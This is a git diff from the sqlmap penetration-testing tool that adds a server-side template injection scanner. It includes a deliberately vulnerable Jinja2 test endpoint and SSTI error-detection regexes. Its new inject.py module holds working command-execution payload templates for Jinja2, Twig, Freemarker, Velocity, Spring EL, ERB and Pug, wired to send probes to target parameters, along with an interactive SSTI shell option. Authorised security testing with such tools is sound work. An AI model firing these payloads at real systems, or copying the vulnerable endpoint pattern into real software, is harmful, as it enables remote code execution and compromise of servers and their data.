diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index fac2dc168..d8d6f6b70 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -109,7 +109,7 @@ jobs: - name: Smoke test run: | - python -m pip install -q lxml + python -m pip install -q lxml jinja2 python sqlmap.py --smoke-test - name: Vuln test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b9ca3b144..4963f8673 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -a4d4ec8aaea6da7b20068209945cf46348bde74b4c90ddf630c3be820d16f73e extra/vulnserver/vulnserver.py +f96ceae5ecb2bfe5eb3b8ae5cf344a93943f13322bc79bb92dbaeafa30f9321f extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -0397a941e27fa23ef375b6bd0a654132b05496d78737253a58524aab7e840789 lib/controller/checks.py -e9fd898a38e4e1bfc975e44b41b344c190e58d845b8602a50a2bf05835ddc7c8 lib/controller/controller.py +9137a8f7368496c84b21944f6b94c28004d3a2a849ac9c8e0b20e294e4c4a93a lib/controller/checks.py +4598de22ed3df63432e9643ba48533a01bec9f0b253c3a11f322ccedaef353f0 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -8b5d4d1f503ef7075820f7eca184c9e55386b7717c5cf93d195fa9e5332d9e34 lib/core/optiondict.py +33ed53b263fa766a808be6797dd812822bb115d3b9db6e3a34763f500f5359e8 lib/core/optiondict.py e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -77a4804887ae9dde7142ede91fcae1bd1d7369132f90d7bf095e8bad6f62e5a4 lib/core/settings.py +7f811ed56c2ce56e2575e732d0853a2064cefa57fa850c51b9e08e00d685ca08 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -fbfb3fa79ac0566a985b8cdc3a2e4758bdf4ccf9d94428163bfe6432c72d696b lib/core/testing.py +4056457dd8502ec367ec4633a33856561f562778f862fedc1372531bb2f58671 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -541b517c9cacba2b62122c1dc2be8f2808afdc32e715983edf29998433b531bb lib/parse/cmdline.py +316cdcb3d8d839dab639ed7eb4935780375d49c93371edbd6224976cbb968c2e lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -246,6 +246,8 @@ ffbc7583a563bb9fe5a560ca8363f3e4ec84ecf907b956883ab1f2904f19d529 lib/techniques cc90c641d74244e45fa0c8c4026315452137e66b6fb5cef681d0eacd4e11eb69 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py e2cd2b19f82393f9bbc8f374686cd851a4ccc264bb898ea54547ec479a05674c lib/techniques/nosql/inject.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py +cb8806c285962593b963464ba870d61f274ee73d9ba878c76fe52795cbe4eced lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py @@ -586,7 +588,7 @@ d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266 tests/test_age feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42 tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py -c99b77cc5d85334f147a1a6d4b2867af396f70e9f2609f8587344e084910e893 tests/test_checks.py +7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4 tests/test_common.py @@ -641,6 +643,7 @@ cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_saf a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py 29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py +49c72cf40cfa78c573826ca1ab3ad11886e353158a31f15b29c6d71b0e561fcc tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py 67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index ecf7b1920..4dc32a3a4 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -1019,6 +1019,31 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/ssti/search": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + output = "" + + if q: + try: + from jinja2 import Template + # VULNERABLE: unsanitized user input passed to Jinja2 template engine + template = Template("Hello " + q) + output += template.render() + except Exception as ex: + # Leak template engine error for error-based detection + output += "%s: %s" % (type(ex).__name__, getUnicode(ex)) + else: + output += "Hello" + + output += "" + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f6a24803d..4589599de 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -83,6 +83,7 @@ from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO @@ -1202,6 +1203,13 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""): + infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 2cffb638c..0ce4960a2 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -548,6 +548,11 @@ def start(): xpathScan() continue + if conf.ssti: + from lib.techniques.ssti.inject import sstiScan + sstiScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index edbcd97a0..69d76f704 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -122,6 +122,7 @@ optDict = { "graphql": "boolean", "ldap": "boolean", "xpath": "boolean", + "ssti": "boolean", "timeSec": "integer", "uCols": "string", "uChar": "string", @@ -172,6 +173,8 @@ optDict = { "lastChar": "integer", "sqlQuery": "string", "sqlShell": "boolean", + "sstiQuery": "string", + "sstiShell": "boolean", "sqlFile": "string", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 1f3f57508..d9df00f06 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.189" +VERSION = "1.10.6.190" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1015,6 +1015,25 @@ XPATH_MAX_DEPTH = 32 # Upper bound for the value-length search during XPath blind extraction XPATH_MAX_LENGTH = 256 +# SSTI error signatures per template engine for detection and fingerprinting. +# Each tuple is (engine_name, regex_fragment). +SSTI_ERROR_SIGNATURES = ( + ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"), + ("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"), + ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), + ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), + ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), + ("Pug/Jade", r"pug|jade|ParseError"), + ("Handlebars", r"handlebars|Handlebars|Parse error on line"), + ("Generic SSTI", r"template.*?(?:error|syntax|exception)"), +) + +SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) + +# Upper bound for SSTI value extraction (reserved for future use) +SSTI_MAX_LENGTH = 256 + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index 2d8dd5b88..714304aca 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -92,6 +92,7 @@ def vulnTest(): ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction + ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 52929cef7..3a134484c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -415,18 +415,6 @@ def cmdLineParser(argv=None): techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) - techniques.add_argument("--nosql", dest="nosql", action="store_true", - help="Test for NoSQL injection (e.g. MongoDB, CouchDB, Neo4j)") - - techniques.add_argument("--graphql", dest="graphql", action="store_true", - help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)") - - techniques.add_argument("--ldap", dest="ldap", action="store_true", - help="Test for LDAP injection (filter breakout, boolean blind, auth bypass)") - - techniques.add_argument("--xpath", dest="xpath", action="store_true", - help="Test for XPath injection (error-based, boolean-blind, blind XML tree-walking)") - techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) @@ -454,6 +442,21 @@ def cmdLineParser(argv=None): techniques.add_argument("--second-req", dest="secondReq", help="Load second-order HTTP request from file") + techniques.add_argument("--graphql", dest="graphql", action="store_true", + help="Test for GraphQL injection") + + techniques.add_argument("--ldap", dest="ldap", action="store_true", + help="Test for LDAP injection") + + techniques.add_argument("--nosql", dest="nosql", action="store_true", + help="Test for NoSQL injection") + + techniques.add_argument("--xpath", dest="xpath", action="store_true", + help="Test for XPath injection") + + techniques.add_argument("--ssti", dest="ssti", action="store_true", + help="Test for server-side template injection") + # Fingerprint options fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint") @@ -568,6 +571,12 @@ def cmdLineParser(argv=None): enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") + enumeration.add_argument("--ssti-query", dest="sstiQuery", + help="SSTI expression to evaluate in-band on the vulnerable parameter") + + enumeration.add_argument("--ssti-shell", dest="sstiShell", action="store_true", + help="Prompt for an interactive SSTI expression shell") + enumeration.add_argument("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") diff --git a/lib/techniques/ssti/__init__.py b/lib/techniques/ssti/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/ssti/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py new file mode 100644 index 000000000..cfcb12f17 --- /dev/null +++ b/lib/techniques/ssti/inject.py @@ -0,0 +1,689 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import SSTI_ERROR_SIGNATURES +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request + + +SENTINEL = randomStr(length=10, lowercase=True) + +SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) + +# Each Engine entry defines detection payloads and expected behaviour for one +# template engine. Arithmetic fields use %d placeholders filled with randomInt() +# at probe time so a static "49" on the page cannot produce a false positive. +# Engines are listed in detection-priority order. +Engine = namedtuple("Engine", ( + "name", # human-readable engine name + "family", # language family (python, php, java, ruby, nodejs) + "delimiter", # expression delimiter opening (e.g. "{{") + "delimiterClose", # expression delimiter closing (e.g. "}}") + "errorRegex", # combined engine-specific error regex (None for "no specific signature") + "errorProbes", # tuple of malformed payload suffixes that trigger engine errors + "arithmeticFmt", # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or "" + "arithmeticUnescapedFmt", # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or "" + "booleanTrue", # boolean true payload + "booleanFalse", # boolean false payload + "trueRendered", # what true renders as (for response matching) + "falseRendered", # what false renders as + "distinguishingProbe", # cross-engine disambiguation probe (None if n/a) + "distinguishingResult", # expected substring from disambiguation probe + "expressionFmt", # format string for wrapping expressions (e.g. "{{ %s }}"), or "" + "rcePayloads", # tuple of (payload_template, description) with {CMD} for command, or () +)) + + +def _arithmeticPayload(fmt, a, b): + return fmt % (a, b) + + +_ENGINE_TABLE = ( + # -- Python ------------------------------------------------------------------------------------------- + Engine("Jinja2", "python", + "{{", "}}", + r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)", + ("{{", "{{ }}", "{{ unknown|filter }}"), + "{{ %d*%d }}", "{{ (%d*%d)|safe }}", + "{{ True }}", "{{ False }}", "True", "False", + None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"") + "{{ %s }}", + # Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum) + (("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"), + ("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"), + ("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"))), + # -- PHP ---------------------------------------------------------------------------------------------- + Engine("Twig", "php", + "{{", "}}", + r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))", + ("{{", "{{ }}", "{{ unknown|filter }}"), + "{{ %d*%d }}", "{{ (%d*%d)|raw }}", + "{{ true }}", "{{ false }}", "1", "", + "{{ _self }}", "Twig_Template", + "{{ %s }}", + # Twig: try system -> exec -> shell_exec fallbacks + (("{{ ['{CMD}']|filter('system') }}", "filter('system')"), + ("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"), + ("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"))), + # -- Java --------------------------------------------------------------------------------------------- + Engine("Freemarker", "java", + "${", "}", + r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)", + ("${", "${}", "<#if ", "<#--"), + "${%d*%d}", "${(%d*%d)?no_esc}", + "${true}", "${false}", "true", "false", + "<#-- freemarker -->", "", + "${%s}", + # Freemarker: classic -> indirect-assign fallback + (("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"), + ("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))), + Engine("Velocity", "java", + "$", "", + r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)", + ("$", "#if(", "#set($x=)"), + "", "", + "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE", + "#* velocity *#", "", + "", # no generic expression wrapper + # Velocity: full reflection chain (pre-2.3 only; patched by CVE-2020-13936) + (("#set($str=$class.inspect('java.lang.String').type)\n" + "#set($chr=$class.inspect('java.lang.Character').type)\n" + "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))\n" + "$ex.waitFor()\n" + "#set($out=$ex.getInputStream())\n" + "#foreach($i in [1..$out.available()])\n" + "$str.valueOf($chr.toChars($out.read()))\n" + "#end", "reflection chain"),)), + Engine("Spring EL / Thymeleaf", "java", + "${", "}", + r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)", + ("${", "${}", "#{", "*{"), + "${%d*%d}", "", + "${true}", "${false}", "true", "false", + "${#request}", "", + "${%s}", + (("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec"),)), + # -- Ruby --------------------------------------------------------------------------------------------- + Engine("ERB", "ruby", + "<%=", "%>", + r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)", + ("<%=", "<%", "<%#", "<%= foo.unknown_method %>"), + "<%= %d*%d %>", "<%= raw %d*%d %>", + "<%= true %>", "<%= false %>", "true", "false", + "<%= defined? Rails %>", "", + "<%= %s %>", + # ERB: backtick captures output; system() returns only exit status + (("<%= `{CMD}` %>", "backtick"),)), + # -- Node.js ------------------------------------------------------------------------------------------ + Engine("Pug/Jade", "nodejs", + "#{", "}", + r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)", + ("#{", "!{", "#{ }"), + "#{%d*%d}", "!{%d*%d}", + "#{true}", "#{false}", "true", "false", + None, None, + "#{%s}", + (("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)), + Engine("Handlebars", "nodejs", + "{{", "}}", + r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})", + ("{{", "{{#if}}", "{{/each}}"), + "", "", + "{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "", + None, None, + "", # no generic expression wrapper without registered helpers + ()), # RCE requires pre-registered helpers; not generically exploitable +) + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`. + Temporarily mutates conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + kwargs = {"raise404": False, "silent": True} + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(**kwargs) + return page or "" + except Exception as ex: + logger.debug("SSTI probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page, engine): + if not engine.errorRegex: + return False + return bool(re.search(engine.errorRegex, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for name, regex in SSTI_ERROR_SIGNATURES: + if re.search(regex, page): + return name + return None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge. + Both true AND false pages must be independently reproducible.""" + + truePage = truthy() + if truePage is None: + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None: + return None + + falsePage2 = falsy() + if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _probeArithmetic(place, parameter, engine): + """Inject a random arithmetic expression and its control pair (different + operands, different result). Both results must appear for their respective + payloads and NOT bleed across, proving the template is executing the expression + rather than a static '49' appearing on the page by coincidence.""" + + if not engine.arithmeticFmt: + return False + + original = _originalValue(place, parameter) or "" + a, b = randomInt(3), randomInt(3) + c = b + 1 # different operand -> different result + + result1 = str(a * b) + result2 = str(a * c) + + for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt): + if not fmt: + continue + + try: + p1 = original + _arithmeticPayload(fmt, a, b) + p2 = original + _arithmeticPayload(fmt, a, c) + except (ValueError, TypeError): + logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt)) + continue + + page1 = _send(place, parameter, p1) + page2 = _send(place, parameter, p2) + + if not page1 or not page2: + continue + + text1 = getUnicode(page1) + text2 = getUnicode(page2) + + # Raw payload reflection means the template did NOT execute + if p1 in text1 or p2 in text2: + continue + + # Each result must appear in its own response and NOT in the other + if result1 in text1 and result2 not in text1 and result2 in text2 and result1 not in text2: + return True + + return False + + +def _probeError(place, parameter, engine): + """Inject each error probe suffix and check for engine-specific error messages.""" + if not engine.errorRegex or not engine.errorProbes: + return None + + original = _originalValue(place, parameter) or "" + + for probe in engine.errorProbes: + payload = original + probe + page = _send(place, parameter, payload) + if not page: + continue + if _isError(page, engine): + return page + return None + + +def _probeDistinguishing(place, parameter, engine): + """Send the engine-specific fingerprint probe and verify the response. + For probes with a non-empty expected result, the result must appear and the + raw probe must NOT be reflected verbatim. + For empty-result (comment-style) probes, the response must stay similar to + baseline and the probe must NOT appear in the output.""" + + if not engine.distinguishingProbe: + return False + + original = _originalValue(place, parameter) or "" + probe = engine.distinguishingProbe + page = _send(place, parameter, original + probe) + if page is None: + return False + + text = getUnicode(page) + + # Reject raw reflection: if the probe appears verbatim, the template didn't execute it + if probe in text: + return False + + if engine.distinguishingResult: + return engine.distinguishingResult in text + + # Empty-result (comment-style) probe: response must stay similar to baseline + baseline = _send(place, parameter, original) + return _ratio(page, baseline) >= UPPER_RATIO_BOUND + + +def _detectBoolean(place, parameter, engine): + """Establish a boolean oracle for this engine. Returns the true template or None.""" + original = _originalValue(place, parameter) or "" + + truePayload = original + engine.booleanTrue + falsePayload = original + engine.booleanFalse + + if engine.trueRendered: + truePage = _send(place, parameter, truePayload) + if not truePage: + return None + text = getUnicode(truePage) + if truePayload in text or engine.trueRendered not in text: + return None + + # Reject reflected false payload + falsePage = _send(place, parameter, falsePayload) + if falsePage and falsePayload in getUnicode(falsePage): + return None + + return _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + + +def _booleanUniquelyIdentifies(engine): + """Returns True when the engine's boolean rendering signature is unique + among all engines sharing the same delimiter, allowing exact naming.""" + siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] + signature = (engine.booleanTrue, engine.booleanFalse, + engine.trueRendered, engine.falseRendered) + count = sum((e.booleanTrue, e.booleanFalse, + e.trueRendered, e.falseRendered) == signature 